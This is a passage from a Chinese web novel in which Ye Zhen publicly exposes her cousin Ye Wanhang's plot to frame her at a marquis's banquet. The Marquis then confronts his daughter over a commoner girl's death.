忠勇侯刚得了重赏,多少双眼睛盯着呢,得知叶桢竟背着他试图搅风搅雨。
他如何还能忍。
众人都等着忠勇侯发落叶桢,可他面容安静,双眸似深潭无波。
叶桢开了口,“母亲,我幼时在庄上常被欺负,便明白捧高踩低是大多数人的天性。
可您是我的母亲,我是您十月怀胎,一朝分娩生下的亲生骨肉,为何您就如此容不下我?
孩子的出身是父母给的,我不曾养在您身边,您与我不亲近,我不怨你,但您太低看您的女儿了。”
“事到如今,你怎的还不知悔改,妄图狡辩。”
王氏怒喝。
叶桢却是苦笑一声,没再看她,“就算我不长在京城,无父母教养,我也知世家小姐们自有他们的风骨。
军中将官们再好,正经的世家小姐也不会自降身段同别的女子抢男人。”
她看向众人,“在场的诸位小姐们,可曾有人愿意如沈姑娘那般自荐枕席?
大人夫人们,又有谁甘心自己的女儿夺别人夫君,去别家做续弦,做继母,往后被人指着脊梁骂一生?”
没有!
被罗夫人挑起同情和愤怒的一些真正的高门贵族,开始清醒。
便见叶桢手指着沈碧水,“只有如她这般门第不高,又在主母手底下讨生活的庶女,自知前途无望,才会自甘下贱爬男子的床。
可如她这样的女子,又能为我,为侯府带来什么助力?”
她再次看向王氏,“在母亲眼里,您的女儿究竟是有多蠢,才会用这等下作女子,去迫害为国为民的将士们。
在母亲眼中,侯爷又会眼盲心瞎到何种地步,才会让我背着他如此胡来?”
“你休想狡辩,谁知你是不是事情败露,才如此说。”
罗兰巧不干了,跳出来反驳。
叶桢看向罗夫人,“夫人刚说自己是与罗副将苦熬过来的,那夫人可曾真正信任过自己的丈夫?
如何就认定,他一定会嫌弃与他同甘共苦的发妻?”
“娘,别听她胡扯。”
罗兰巧见现场讨伐叶桢的声音小了许多,担心她娘也被叶桢说动。
叶桢视线转向床上,被被子裹得严实的人,“据我所知,罗夫人和罗小姐都不曾看过床上究竟是不是罗副将。
只听信沈姑娘片面之词,便在此闹了起来。”
罗夫人心下一咯噔。
她听说床上的是自己男人,是要去掀被的,却被自己的女儿拉着去打沈碧水。
之后想着他裹着被子定是赤着身子,嫌丢人,才缩在被子里。
如今想想,她家男人虽长相清秀,却是个大老粗的硬脾气,真要是他做的,绝不会做缩头乌龟。
她开始没了底气,正欲上前时,却见床上的人自己掀了被子。
她衣衫齐整。
崔嬷嬷伸了个懒腰,“老身年纪大了,累一会儿就撑不住,这才寻了个房间小睡片刻。
得亏我如今是个老嬷嬷,否则被这么多人围观,还不得羞死。”
她又看向沈碧水,“你这姑娘也是,客房十几间,干嘛非要和老身挤,还惹来这么多人,扰我清梦。”
沈碧水瘫坐在地,她的谎言被戳破。
可她进来时,明明躺床上的就是罗副将啊。
怎的突然变成了个老嬷嬷,这中间出了什么问题,她下意识地看向叶晚棠求助。
叶晚棠也乱了心神,罗副将是她让人借罗兰巧的名义引到此处,下了迷药的。
十拿九稳的事,怎么会出错?
她心里还没想出个所以然,却见沈碧水向她求助,她忙要瞪回去。
却见叶桢也直直看了过来……
第43章 母亲,我是不是你的女儿
叶晚棠只慌了片刻,便稳住心神,笑着回视叶桢。
沈碧水这些年依附她,才能与主母抗衡,不敢出卖她。
而引罗副将去客房的武婢,她早已让她先行离开了。
虽计划失败叫人气恼,好在她能全身而退,将来还有机会。
但叶桢看她是何意?难道叶桢猜到这些是她布局?
她有这般脑子?
那她先前可是藏拙?
叶晚棠危险地眯了眯眸,却见叶桢越过她看向她身后,“罗副将来了。”
罗副将手里扭绑着一个女子。
叶晚棠瞳孔剧震,她的武婢,怎么会被抓回来……
难道罗副将没中药,不对,武婢亲眼看见罗副将昏迷,沈碧水在他身侧躺下才来回禀的。
这里头究竟出了什么变故?
“侯爷。”
罗副将上前行礼。
“夫君,你没事吧?”
罗夫人忙将他上下检查。
罗副将摆手,“无碍,但刚刚险些出了事。”
忠勇侯问,“究竟发生何事?你绑来的又是何人?”
看到这里他也明白了些事。
罗副将的确是被人算计了,沈碧水爬床前定确认过床上的是罗副将,事发后才敢不惜自毁清白,咬定是他。
而崔嬷嬷帮忙主持这次宴会,最清楚东侧客院是提供给男宾的,她不可能走错。
更不会在罗家母女和沈碧水闹得不可开交时,还沉睡不醒。
她是故意顶替罗副将,让沈碧水这些人将戏唱完。
但真正的唱戏人是谁?识破对方阴谋并及时化解的又是谁,具体详情他还不清楚,因而他问自己的副将。
却有人赶在罗副将之前开了口。
“不知罗将军为何抓我将军府的婢女?”
叶晚棠满脸困惑,她又看向自己的武婢,“不是让你提前回府看射姑吗?怎的成了这幅模样,这是出了什么事?”
武婢被抓回实在打她一个措手不及,她只能先撇清自己。
武婢眼眸颤了颤。
她明白叶晚棠这是要弃她,明哲保身。
罗副将没有松开人,他神色愠怒,“这女子骗我说我家兰巧寻我有急事,却在房里燃了迷药,好在我及时察觉,没想对方却是个会武的,一路追到门口才抓到。”
实则他被迷晕了,醒来却在另一间房,是叶桢的婢女挽星叫醒了他。
但具体情况他还来不及问明,就被挽星提醒去抓人。
这武婢则被刑泽堵在侯府不得出,他才能及时抓到人。
他质问叶晚棠,“既是将军府的人,罗某便问问叶姑娘,罗某与姑娘无冤无仇,姑娘的人为何要害罗某?”
“如你所言,将军府的确没有这样做的道理,其中是不是有什么误会。”
叶晚棠衣袖下的手,死死攥着帕子,脸上一派茫然。
罗副将哼道,“被一女子算计,于罗某来说并非光荣事,罗某没理由凭空捏造。”
“我知道了,是叶桢指使的你,对不对?”
叶晚棠还没开口,罗兰巧替她找到了说辞。
她凑到武婢跟前,又将事情推到叶桢头上,“叶桢想毁我父母婚事,因而让你将我父亲迷晕,好让沈碧水趁虚而入。
只是我父亲警觉,没能让你得逞,恰巧老嬷嬷累了,歇在了这房中,沈碧水错将老嬷嬷当成我父亲……”
她自觉很聪明,将事情捋了个顺。
罗夫人此时也察觉女儿的不对劲,她似乎格外针对叶桢。
但事情到了这个份上,她也意识到事情并非先前以为的那般。
因而阻止女儿继续说下去。
王氏不愿世人怀疑叶晚棠,却顺着罗兰巧的话指责叶桢,“你怎能利用将军府的人做这种下作事,你这是毁你姑母英名,还不快同罗将军道歉。”
她又看向武婢,“还有你,枉费射姑平日将你们这些武婢当眼珠子疼,便是晚棠要使唤你们,都未必能成。
如今她刚倒下,你倒是听上叶桢的话了,她究竟给了你多少好处?”
这话明晃晃告诉大家,武婢是射姑的人,她虽是将军府的人,却未必代表叶晚棠,而是被叶桢收买。
王氏会如此,在叶桢意料之中,正好给了叶桢吐露真相的机会。
“女儿嫁入侯府三年,不曾回过将军府,新婚回门,母亲让人带话,说你与父亲客居将军府,不好过于麻烦晚棠,因而不必归宁。
之后夫君遇难,女儿想回去看看父母,从父母那里得些慰藉,母亲也以女儿寡居,不好外出而拒绝。
三年不曾联络,女儿哪里有机会收卖将军府的人?”
王氏面色发烫。
当年谢云舟不肯陪叶桢回门,侯夫人不想侯府名声有污,便让她出面拒绝叶桢。
对外,他们则说是叶桢记恨父母将她养在外头,不肯回门。
今日赴宴的不少人,都听过她的这个说辞,没想今日叶桢会当众拆穿。
她心底恼怒,“前些日你不是回了将军府?”
“得知母亲身体有碍,女儿着急忙慌赶去,却连将军府大门都不得入,又怎有能耐驱使将军府的人?”
叶桢自嘲,“母亲此时倒又高看我了。
当日陈青全程陪同,我有无收买,他最清楚。”
陈青看向忠勇侯,见他点头,便上前将叶桢那日被将军府要求走偏门的事说了。
总结道,“如少夫人所言,她的确不曾与将军府下人接触。”
叶桢神情悲伤,眼底隐隐泪光。
“女儿不明白,女儿到底做错了什么,惹得母亲这般不喜,要置女儿于死地?
都说父母爱子,是天性,可我的母亲却不爱我,有时我甚至想,我是不是根本不是母亲的女儿?”
众人狐疑的目光投向王氏,若刚刚叶桢所言为真,王氏的确不对劲。
哪有做母亲的,不帮女儿,反而次次火上浇油?
叶正卿心头大惊,担心事情发展下去不可控,忙出来打圆场。
“桢儿,你想多了,你当然是我们的女儿。
你母亲没有不喜你,她只是当年生你大病一场,你祖父那时也突然病逝,后头你哥哥又战死,想到道士批命,你母亲一时钻了牛角尖。
但她心里是有你的,要带你回去,也是担心你承不住侯府富贵,刑克了自己啊。
父母之爱子,则为之计深远,我们不求你富贵荣华,只盼你能平安健康。”
又喝斥王氏,“我知你对桢儿一片良苦用心,想将她带离这富贵之地。
可你方法过于偏激,会伤透女儿的心啊,你啊你……”
叶正卿这几日住在侯府,忠勇侯恰好这几日去军中忙碌,两人接触依旧不多,但他心头满足,因外人并不知详情,只当他们两亲家关系亲近。
为此,上峰这几日对他态度都和煦几分,谁想叶晚棠和王氏又闹出事来。
他心头是气的,因而骂王氏的语气格外真切。
王氏借势捂脸哭泣,“我害怕啊,我就剩她这一个女儿了啊。
是我的错,不该将她生在那样的时辰,都是我错了啊。”
叶桢亦落泪。
“既如此,父亲母亲当年为何又要将我嫁入侯府,在乡下为我择一寻常人家,岂不是更好?”
谢霆舟冷眼旁观几人的反应,眸光愈加深邃。
最后她将视线落在叶晚棠脸上,见她脸上难掩慌乱,谢霆舟心头生出一个荒诞的念头。
叶正卿不知有人窥破天机,他一时也不知如何应对,支吾半天后,重重叹了口气,“这就是为人父母的矛盾之处啊。
既怕你命薄接不住富贵,又盼着你过得好,哎……”
然而这些话,却没什么力度,在场大多是为人父母的,真正爱孩子是什么样的,他们心里门清。
怀疑的种子已在众人心里种下,叶桢见好就收,开始下一步。
第44章 指认叶晚棠
叶桢看向忠勇侯,“父亲,我今日才第一次见沈姑娘,她却谎称三年前与我相识,受我指使才爬罗副将的床。
表面是针对我,实则是害将官们与您离心,是害侯府惹上结党营私的嫌疑,用心险恶。
可您忠君爱国,侯府与沈家往日更无仇怨,儿媳怀疑沈家今日所为,是受敌国奸细挑唆。”
忠勇侯眼皮一跳。
这种感觉莫名熟悉。
有人趁乱闹他的宴会,他心里也是打算敲打敲打对方的。
但没想到叶桢能扯出这么大一张皮,这感觉像极了这些年,谢霆舟每次要搞事的样子。
嫌女儿丢人,却又盼着女儿真能入罗家的沈父沈母,原先一直躲着人群后。
被叶桢砸下这样一顶大帽子,吓得忙上前。
“冤枉,这可真是天大的冤枉,我们根本不知这死丫头所为,更不曾与敌国细作有什么牵连。”
谢霆舟冷笑出声,“本使细想一番,侯府的确不曾得罪过沈家。
今日沈家这般坑害侯府,除了我家弟妹所说的理由,本使也想不出其他。
事关敌国细作,武德司责无旁贷,来人,带下去,审!”
他手一扬,身后部下便手脚利索地来抓人。
忠勇侯没有阻止。
他往日希望谢霆舟低调安分,但事惹上门,侯府没有任人欺负的道理。
沈母心头一慌,也顾不得在外要伪装慈善主母形象了,一巴掌打在沈碧水脸上。
“下作东西,不知廉耻还要连累家人,还不交代,究竟为何要这样做。”
今日沈碧水在侯府闹事,先是算计忠勇侯的副将,后又污蔑侯府少夫人,这是将侯府得罪个干净。
沈家不过五品,家族也早已没落。
一旦侯府报复,给沈家落个与敌国勾结的罪名,沈家逃不掉满门倾覆。
沈碧水也没想到事情会变成这样,她不过是答应帮叶晚棠对付叶桢,顺道为自己谋一门亲事的,怎的与细作扯上关系了。
忙指着罗兰巧,“是她,是她无故欺我,将我撞下水,我咽不下这口气,又心慕罗副将。
这才想着进了罗家门,做她的后娘,便可报今日之仇。”
她刚向叶晚棠求助,没得到回应,反被眼神警告,不敢招认出她。
“你胡扯,我什么时候欺负你了,我那是不小心的。”
罗兰巧也慌了,父亲最不喜她嚣张,若知道是受她连累,才被沈碧水算计,定饶不了她。
至于沈碧水说的理由是不是真的,罗兰巧的脑子分辨不出真假。
“你刚刚还指认叶桢,现下又胡乱攀扯我,可见你嘴里没有一句实话。”
“我指认叶桢,是因为她身为主宴人,没有为我主持公道,我怨她……啊……”
鞭子抽在她后背,衣裙破裂,裙下皮开肉绽。
谢霆舟嘴角泛着冷意,“沈姑娘这是将本使当三岁小儿糊弄?
敢在本使面前撒谎,带过去,严审。”
带走的却不是沈碧水,而是沈父。
也没带多远,就在不远处的海棠树下,沈父被高高吊起,武德司的人惯例先来顿鞭刑,再问话。
武德司有监察敌国细作之责,沈碧水又作乱在前,因而无人出言帮沈家说话。
沈父的惨叫传过来,吓得沈母身子止不住的发抖,她家男人不是什么硬骨头,只怕抗不了多久,就得胡乱交代了。
若幸运点,他不交代,那下一个就会轮到她。
先不说疼不疼,一介女子被当众吊打,她往后也无颜面可活。
又是一巴掌打在沈碧水脸上,沈母用力掐着她的胳膊,咬牙切齿。
“还不说实话,你不管我与你父亲死活,连你姨娘也不管了吗?
沈家若有好歹,你们母女同为沈家人,又有何好下场,你连亲疏都分不清了吗?”
别人不清楚,她却是知道的,自己这个庶女这些年巴着叶晚棠,甘心做她爪牙。
迷晕罗副将的又是将军府的人,这件事十有八九是叶晚棠教唆。
叶晚棠刚连自己的武婢都能舍弃,何况是庶女这条走狗。
若要救,她早就救了。
沈碧水左耳是父亲的惨叫,右耳是主母的警告,后背的伤疼得她额头冒汗。
她再度抬眸看向叶晚棠,却见叶晚棠回避了眸光。
沈碧水知道,叶晚棠不会再管自己了。
她又看向叶桢,见她眉目始终平静,好似胜券在握。
叶桢身后是谢霆舟,沈碧水没留意,不知谢霆舟何时站在了叶桢身后。
他身形格外高大,衬得叶桢玲珑娇小,一眼望去,沈碧水生出错觉,好似叶桢是被身后伟岸如山的男人护着。
沈碧水不合时宜地想,这便是她做梦都想要的人生啊。
有个能顶天立地的人,护着她和姨娘,做他们的依靠,可谢霆舟手中泛着死亡寒光的长鞭提醒她。
她再不说,她和姨娘都会没命的。
手指缓缓抬起,她指向了人群中的叶晚棠,“没有细作,真正让我勾引侯爷手下将官,并教我离间家眷和叶桢关系的,是叶晚棠叶大小姐。
她没指定具体哪位将官,恰那时罗兰巧故意挑衅,我为报复她,选择了罗副将。
叶晚棠便让武婢助我,将罗副将迷晕在客院,我更衣后,趁人不备留进了房间。”
出卖叶晚棠或许会死,但不招认,一定会死,谢霆舟能杀五万俘虏,绝不会绕过今日在侯府闹事之人。
沈碧水根据平日听到关于谢霆舟的恶名,心中如此权衡。
至于她爬床时,床上的人的确是罗副将,她选择不提。
她只是出身不好,为求前程才甘愿被叶晚棠驱使,并非真的没脑子。
罗副将是侯府心腹,侯爷和谢霆舟定然不希望他名声有损。
因而她想卖谢霆舟一个好。
果然,谢霆舟没追问此事,而是问道,“叶晚棠为何要这样做?”
“我不知,这些年向来是她让我做什么就做什么。”
叶晚棠需要维持在外的好形象,有些不便出面的事,便由她做了。
她不过是个打手罢了,自诩高人一等的叶大小姐,怎会同她解释原因。
“沈姑娘,你……”
叶晚棠身形一晃,“往日见你日子艰难,我略有帮扶,也允你去过几次将军府。
没想你今日为开脱,先是污蔑桢表姐,后又赖在我头上。”
她行至忠勇侯面前,“谢伯伯,我不知沈姑娘如何说动将军府武婢帮他。
但您和母亲是至今好友,晚棠视您为亲伯,绝无害您之心。
母亲为国战死,将军府或许会出糊涂人,但绝不会出卖国贼。”
她以自己是功臣遗孤,将这件事与细作剥离开来,如此便能阻止武德司继续插手。
“母亲死后,晚棠一介孤女,幸得舅舅舅母相伴,桢表姐是他们的女儿,又是我唯一表姐,我更不可能害她。
但我知沈姑娘在府中艰难,一直想谋门好的亲事。
既她指认晚棠,晚棠便担下这罪责,只当交友不慎,买了个教训。”
说罢,她跪了下去,“请谢伯伯责罚……”
忠勇侯虽遗憾叶晚棠没承叶惊鸿半点风骨,但对好友之女,他素来关照几分。
但今日之事,他有自己的判断,沈碧水后头所言应是真,真正唱戏之人是叶晚棠。
他心底很失望,因而没阻止叶晚棠跪下去,却没想到,叶晚棠跪下后直接晕在了他脚边。
让他一句开口的机会都没有。
王氏大惊,“快,送晚棠回府,这些时日她没日没夜照顾射姑,又被昔日视为朋友的沈姑娘栽赃,定是受不住打击……”
叶晚棠的婢女顺势抱着她要离开,王氏也让人带她跟上。
“母亲。”
叶桢叫住王氏,“晚棠才是您的女儿,对吗?”
第45章 叶晚棠自食其果
叶正卿心肝脾肺肾都跟着抖了抖。
他忙解释,“桢儿啊,叶家有你姑母才有今日,你表妹是你姑母留下的唯一血脉。
她有事,我和你母亲不能忘恩负义,丢下她不管呐,否则我们将来有何颜面去见她。”
他不想离开侯府,但现在不得不和王氏一起离开,他得替王氏描补,否则这个理由便说不过去。
同时又心惊,叶桢是不是察觉了什么,还是王氏这个蠢妇表露的过于明显。
“父亲说的是,眼下表妹安危最要紧。”
叶桢似意识过来,忙同旁边的女子道,“苏女医,可否请你帮忙替我家表妹看看?”
苏女医便是忠勇侯为叶桢从宫里请来的那位,这些时日她常来侯府。
叶桢有意交好,给她下了请帖,苏女医也颇觉与叶桢投缘,因而赴了宴会。
闻言点头,“可以。”
王氏忙道,“将军府有用惯的大夫,不必劳烦。”
晚棠并非真的晕倒,怎能在此就医。
沈碧水的指认虽被晚棠装晕糊弄过去,但难免让人对晚棠有了不好的印象,万不能再让人知道她是假晕。
她的女儿将来是要做这天下最尊贵的女子,声名何其重要。
叶桢在察觉叶晚棠要对她下手时,便决意毁了叶晚棠费心经营的形象。
看出她假装昏迷,怎能轻易放她离开。
叶桢很担忧,“光是从这到府门就有不短路程,再一路回到将军府,中间要耽搁不少时间。
母亲,还是先让苏女医瞧瞧吧,苏女医在宫里当差,医术极好。
如父亲所言,晚棠是姑母唯一的孩子,万不能出事啊。”
前世,在破屋里,叶晚棠曾居高临下地对叶桢吐露过自己的野心。
她要母仪天下。
可她的未婚夫太子失踪多年,杳无音讯,皇后不愿她继续蹉跎年华,曾提出收她为义女,封公主再择佳婿。
叶晚棠拒绝了。
她将目标投向了皇后的另外两位皇子,结果如何,叶桢没机会知道就死了。
今生叶桢要报仇,杀人诛心,她先从叶晚棠的名声下手,毁了她的希望。
一个坏了名声的女人,想入皇家,几乎没可能!
这会比杀了叶晚棠更让她痛苦。
因而,她预设过叶晚棠被揭穿后会有的应对之策,装晕在她考虑范围之内。
就算苏女医不出现,她也借宴会恐有宾客需要为名,请了别的大夫入府。
忠勇侯为此还夸叶桢思虑周到。
叶桢打着为叶晚棠好的旗号,王氏很难拒绝,可见眼睫轻轻颤动的叶晚棠,她知道,她的晚棠急着离开。
王氏心一横,同叶桢道,“够了,我不愿再同你演戏,是,我喜爱晚棠甚过于你。
因你生来不详,只能被送走,可那是长在我腹中的亲生骨肉,你以为我不痛苦吗?
这些年,若不是有晚棠相伴,解我思女之情,恐怕我早就缠绵病榻。
她刚出生,你姑母就上了战场,我应承你姑母会将她视如己出。
人非草木孰能无情,养了这么多年,我早已将她当做亲生孩子。
晚棠知书达理,温柔善良,她值得每一个人真心待她。
偏惹得你嫉妒,叫我如何放心她在侯府就医?”
王氏为了叶晚棠,自毁形象。
“还有一桩事,我也不妨告诉你,真正指使武婢配合沈碧水的,是我。
当年是我鬼迷心窍,以为你及笄就能回京,可事实上你克死丈夫,克病我与你婆母。
你一好起来,你身边的人就会倒霉。
你生来就是低贱之命,注定亲缘寡淡,不得富贵,偏你痴心妄想,还连累他人。
被亲生母亲厌恶至此,你当反思己身,还有何颜面在此挑唆侯爷追查今日之事。”
她将自己说成是无知凉薄的母亲,眼神无惧地看着忠勇侯。
“谢侯爷,我与她母女之间的恩怨,查下去并不光彩。
若谢侯爷要问责今日之事,只管来拿我,但请允我先送惊鸿的孩子回家。”
她清楚到底是亲家,又不曾真正出事,忠勇侯看在儿媳面上,也不会再深究。
何况她还故意提起叶惊鸿。
只是今日过后,她将会被许多人瞧不起,可等她的晚棠将来做了皇后,谁还敢笑话她。
自有人上赶着替她找来好听的借口,圆了今日之事,前尘往事皆会被掩于锦衣华服之下。
王氏毅然决然。
叶桢是有些震惊的。
她没想到,王氏为了叶晚棠能这般豁得出去。
原来这就是母亲护犊的样子。
但此时可不是感动他们母女情深的时候。
“母亲误会了,我与晚棠见面不过数次,感激她替我在母亲面前尽孝还来不及,怎会嫉妒她……”
叶桢踉跄地走近王氏和叶晚棠,脸上是不可置信和绝望的悲伤。
衣袖下的手却是做好了姿势,要不动声色地让叶晚棠摔倒在地,揭穿她的伪装。
可长鞭比她速度更快。
鞭子结结实实打在叶晚棠腿上,金尊玉贵的大小姐,以往皮都不曾破过一下,哪里受得住这疼。
惨叫划破天际,叶晚棠下意识抬手捂住了受伤部位。
谢霆舟懒懒笑道,“叶夫人今日这戏唱得太好了,实在叫本使激动,本使一激动就爱舞鞭助兴。
不小心扰了叶大小姐睡觉,当真抱歉啊。”
嘴上说抱歉,却没一丝诚意。
叶晚棠这一系列反应,暴露了她的伪装。
偏生谢霆舟还将她的假晕讽刺成睡觉,惹得不少人低笑出声。
有人惋惜,叶惊鸿的女儿半点没随她,还有人大着胆子议论,如果宫中知道叶晚棠今日所为,会不会撤回她和太子的婚事……
叶晚棠自诩沉稳有城府,可顺风顺水多年,哪里经历过这样的窘境,面对众人嘲笑,她都顾不得寻谢霆舟麻烦,面颊滚烫地落荒而逃。
终是自食恶果。
王氏先前的自我牺牲,反倒成了笑话。
也叫人生疑。
这世间当真有人,为了维护外人的名声,中伤自己的女儿?
前后一联想,也不难猜出,沈碧水所言为真,真正指使她爬床,并诬陷叶桢的是叶晚棠。
她为何要这样做?
众人想不明白,便看向叶桢。
叶桢强撑笑颜,没有多言一字,只邀请众人入席。
见此,不少宾客对她印象良好,遭遇那些,没趁机诋毁对方,也没忘记今日是忠勇侯和谢霆舟的封赏宴,时刻谨记自己的责任。
忠勇侯亦有感慨,他隐约知道叶家并不重视叶桢,但不曾深究,今日所见,让他对叶桢生出几分心疼。
故而道,“侯府永远是你的家,本侯永远是你的父亲。”
他觉得王氏那些言论,简直荒谬。
更理解不了,这世上怎么会有人不爱自己的孩子。
但他自小被老侯爷教导,女人是很复杂的生物,男人当将心思和精力放在大事上,切勿浪费时间去揣测女人的小心思。
因而他没去管王氏怎么想,而是沉思等宾客散后他该如何处置自己的女儿。
他不通女人心思,却善兵法懂谋略,看得出是叶晚棠利用了谢瑾瑶,意图黄雀在后。
可他的蠢女儿对此毫无所知。
第46章 又来告状的
谢瑾瑶不知忠勇侯所想,她从罗兰巧口中得知了叶晚棠的事。
很觉遗憾,“叶晚棠也不过如此,竟也没能对付叶桢,反自己丢了人,看她以后还敢不敢在我面前嘚瑟。”
忠勇侯不想宴会半途而废,他带着罗副将继续宴请,暂没空处置罗兰巧的事,将她丢来和谢瑾瑶作伴。
罗兰巧心里很忐忑,因而迁怒叶晚棠,觉得是叶晚棠没用,才让她如今也被关了。
对谢瑾瑶的话很是赞同。
但又替谢瑾瑶不平,“侯爷打了你,对叶晚棠却连句重话都没有,就放她离开,实在不公平。”
见叶晚棠神色不好,她又转过来安慰,“不过,侯爷连叶晚棠都能放过,应当更不会重罚你。”
看着谢瑾瑶肿成猪头的脸,她安慰得没什么底气。
谢瑾瑶却因此心里踏实许多。
父亲放过叶晚棠,还不是看在叶惊鸿的面上。
他对故人之女都能如此宽容,自己这个亲女儿在他心里应当更有分量。
心里又忍不住庆幸,“幸好,贺铭未婚妻的事父亲不知道。
给叶桢下药的事,只要我能编造一个合理的理由,应该就能将事情蒙混过去。”
她摸着自己肿胀的脸,“大不了被送到庄子上和母亲一起,有母亲在身边,她也有个主心骨。
至于叶桢,等祖母来了自有她报仇的时候。”
故而,她拉着罗兰巧商量对策。
前院。
宾客散尽后,忠勇侯正准备让人送贺铭回去。
有小厮进来禀报,“侯爷,门口有个少年自称是马夫伍大的弟弟,他要为伍大申冤。”
“伍大?”
侯夫人换马夫换得勤,忠勇侯又不常在京城,因而对他没什么印象。
忙有下人同他说明伍大的身份。
得知是侯夫人的马夫,忠勇侯有种不妙的感觉。
“他有何冤屈?”
小厮低了声音,“他说伍大并未偷盗,而是被人灭口,其中还牵扯贺小将军的未婚妻。”
他看了贺铭一眼,略略加重了声音,“少年说贺将军的未婚妻亦非自愿做那老员外的妾,而是被抢去的。”
贺铭昏昏沉沉间听到这句话,猛然上前抓住小厮的衣领,“你这话是何意?”
小厮是谢霆舟的人,佯装害怕,“贺将军,小的也只是传话。”
忠勇侯深深看他一眼,吩咐,“带人过来。”
伍二被带到忠勇侯面前,清瘦的少年强自镇定,将伍大无意听到谢瑾瑶和侯夫人对话,最后被侯夫人灭口的事,仔仔细细说了出来。
“你可有证据?”
忠勇侯眉目凛冽。
伍二摇头,“大哥只同我们说了这些,草民先前甚至连那女子的未婚夫是谁都不知,也无从打探。
只得日日蹲守在侯府外,这才从刚离开的宾客中得知今日有位贺姓将军醉酒。
便同人打听了贺将军的情况,这才将两者联系起来。”
“既如此,你为何不直接与贺铭联络?”
实在是今日不太平,事情都赶在一起,忠勇侯不得不怀疑。
以贺铭对未婚妻子的在意,得知此事后,定会与伍二联手。
可没证据的伍二,却跑到他面前状告他的妻女,就不怕被灭口吗?
还有,他侯府的门房何时这般好说话了。
伍二朝忠勇侯磕了个头,“不瞒侯爷,原先我的确是如此打算的。
但草民的妹妹胆大包天,为了给大哥报仇,竟瞒着草民入了侯府。
草民就剩这一个妹妹了,草民担心自己鼓动贺将军报仇,会连累妹妹。
可大哥冤屈,草民不能不申,草民便只能凭着这一腔孤勇走到侯爷面前。
也赌侯爷当真如外界所传的那般,是个刚正的好官。”
忠勇侯冷笑,“倒是会给本侯戴高帽子,你那妹妹可是叫有米。”
这些时日,府中也新买了些丫鬟婆子,他第一个想到的就是叶桢带回的那个。
只怕此事叶桢亦有参与。
若真是如此,那叶桢便是串通外人了。
忠勇侯眼眸黑沉。
在伍二点头后,他朝陈青使了个眼色。
可陈青带人过来后,却说,“属下过去时,那丫头还跟着少夫人在料理宴会后续。
听闻伍二来告状,两人皆是意外,那丫头还吓得跌坐在地。”
他瞧着都疼。
也不知是担心伍二被侯爷处置,还是担心侯爷怪她隐瞒身份入府。
忠勇侯闻言,眯眸打量朝露,见她吓得瑟瑟发抖,却挡在伍二面前。
“我和二哥是大哥养大的,他从小就教我们,再苦再穷也要有骨气,不可行窃,自己又怎会行窃。
可我们太弱小了,幸好老天有眼,让我认出了少夫人,我利用对她从前微弱的恩情,卖惨让她带我入府,以便查找证据。”
她垂下头很是丧气,“可惜除了打听大哥平日本分外,我还没找到证据,但我二哥所言都是真的,还请侯爷明查。”
一个新入府的小丫头,找不到证据才是常态,她没寻到证据,伍二就来告状,说明两人并没提前串通。
而是真如伍二所言,赌一赌他的为人。
忠勇侯疑心散去一些,却狐惑,不是叶桢?
那是谁?
一道颀长身影出现在他眼前。
逆子谢霆舟来了。
他长手长脚慵懒地在忠勇侯身边坐下,“贺铭常在军中吹他的未婚妻多好,本世子耳朵都听出茧了。
见不得他这窝囊样,想着他看人眼光应不会太差,正好瞧这小子这几日都鬼鬼祟祟守在府外,便做了回好人。”
叶桢脚步微顿,她意外谢霆舟竟将责任揽了去,这与他们先前商量的不一样。
还有刚刚他对叶晚棠出手……
他为何要帮她?
忠勇侯看见她,示意她在旁坐下,没问她关于朝露的事。
倒是瞪了眼谢霆舟,“怎不早同我说。”
谢霆舟似笑非笑,“早说你未必信啊,谁不知道,柳氏那几个孩子都是你的心肝疙瘩。”
忠勇侯觉得这四个字讽刺无比。
贺铭扑通一声跪下,“还请侯爷允属下查明真相。”
他自小家穷,靠着不怕死才在军中渐渐有了位置,可未婚妻却不肯与他成婚,说要等他大战归来,才嫁他。
因而得知她为求富贵甘心为妾,他满心悲愤,不曾疑心此事真假。
若她当真是被害,而非嫌弃他,可他却听信传言,那他真是该死。
谢霆舟笑着提醒,“忠勇侯府的嫡女,怎会独自外出。”
定有护卫婢女跟着,拉过来审一审,比去城外查那老员外省事多了。
忠勇侯已不知该如何形容自己的心情。
一边是女儿,一边是随他出生入死的部将,最终摆了摆手,随贺铭去了,陈青吴冬忙跟上。
不到半个时辰,他们拖着浑身是血的织云过来……
谢瑾瑶和罗兰巧叽里咕噜商量半天,最终决定走老套路,先认错,再怀柔手段。
忠勇侯让人来带谢瑾瑶时,罗兰巧还冲她暗暗比了个加油的手势,又捶了捶胸口,示意自己绝不出卖她。
“父亲……”
谢瑾瑶酝酿好情绪,刚要哭出来,就听得忠勇侯暴喝,“孽障,跪下。”
第47章 被送去养马
贺铭拳头紧攥。
谢瑾瑶的仆从是他亲自审的,他从他们口中得知了自己未婚妻当时的悲惨和绝望。
他想杀了所有伤害过她的人,包括他自己。
在谢瑾瑶来之前,他已狠狠给了自己几拳,因而谢瑾瑶被带过来时,他没忍住走近了她。
被忠勇侯那样怒吼,又对上贺铭猩红的双眸,谢瑾瑶精心准备的腹稿全忘了。
再看见血肉模糊的织云,她直接瘫坐在地上。
“父……父亲……”
她语无伦次,“织云她,她怎么了?”
忠勇侯没有再同她绕弯子,“既知打错了人,为何当时不及时挽救,反而让人被折磨死。”
织云刚刚交代,谢瑾瑶在打伤贺铭的未婚妻夏春儿后,就知夏春儿并非私逃妾室,却眼睁睁看着老员外带着一众恶仆抓走夏春儿。
谢瑾瑶听到这话便知什么都瞒不住了。
她哭,“女儿当时害怕极了。”
“你不是害怕,你只是觉得她不过是一平头百姓,是无父无母的孤女。
直到她死后,你得知她与贺铭的关系,才真正害怕。”
忠勇侯咬牙,“你那时怕的依旧不是自己害了无辜性命,你怕的是事情传出去被人笑话,怕的是本侯知道此事,会处置你。”
谢瑾瑶当时就是这般想的,所以她才会向侯夫人求助。
“知错不改,反而错上加错,视人命为儿戏,本侯没有你这样的女儿。”
“父亲!”
谢瑾瑶从未听忠勇侯对她说过这样的重话,她慌了,“父亲,女儿是错打了她,可真正将她害死的不是女儿啊。
这一次是女儿错了,可女儿也帮过许多人啊,父亲。”
“你还敢提你那些混账事。”
忠勇侯气得脸色胀红。
他原本也以为自己的女儿是个好的,可刚从织云几个婢女口中得知,谢瑾瑶所谓的行侠仗义,并非根据是非曲直,而是全凭她个人喜好。
这些年不知做下多少糊涂事,欺了多少老实人。
便是这京中不少人家的孩子都挨过她的打,偏他被蒙在鼓里,以往有讨好他的官员,夸他养了个好女儿时,他还很是自豪。
